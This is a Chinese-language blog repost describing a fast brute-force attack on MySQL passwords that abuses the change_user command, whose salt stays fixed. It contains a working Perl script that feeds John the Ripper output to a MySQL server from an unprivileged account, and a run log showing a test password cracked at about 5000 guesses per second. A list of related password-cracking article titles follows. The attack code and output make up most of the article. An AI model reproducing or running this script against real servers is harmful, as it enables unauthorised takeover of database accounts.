快速高效的破解MySQL本地和远程密码
2014-10-09 14:00
387 查看
http://www.kankanews.com/ICkengine/archives/212.shtml
快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => ’192.168.2.3′,
database => ‘test’,
user => “user”,
password => “secret”,
debug => 0,
);
$crackuser = “crackme”;
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join “”,
$crackuser,
“\x14″.
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . “”;
if ($mysql->_execute_command(“\x11″, $vv) ne undef) {
print “[*] Cracked! –> $currentpass\n”;
exit;
}
}
下面是我这台机器上的执行结果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn –incremental –stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! –> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted
No tags for this post.
除非注明,本站文章均为原创或编译,转载请注明: 文章来自KENGINE | Kankanews.com
相关文章推荐
- 快速高效的破解MySQL本地和远程密码
- 快速高效的破解MySQL本地和远程密码
- 红薯 快速的 MySQL 本地和远程密码破解
- MySQL 本地和远程密码破解
- 快速破解本地的mysql用户名和密码
- mysql 对本地登录和远程登录设置不同的密码
- 破解本地的mysql用户名和密码
- 破解本地的mysql用户名和密码
- 破解本地的mysql用户名和密码!
- 破解本地mysql用户名与密码
- 设置更改root密码(远程,本地)、连接mysql、mysql常用命令
- 破解本地的Mysql密码
- 破解本地的mysql用户名和密码
- ubuntu下面的SecureCRT破解失败问题+本地ubuntu系统远程连接RHEL服务器的免密码登录问题(自己归纳总结)
- mysql开启远程连接(本地或远程均需密码连接)
- 解决远程无法登陆mysql服务器的问题和重置密码
- 修改MYSQL密码和密码破解的常用方法 [转]
- 各个Linux版本的本地root密码破解方法
- Linux各版本的本地root密码破解方法
- 制作系统恢复盘 快速 高效远程装系统 推荐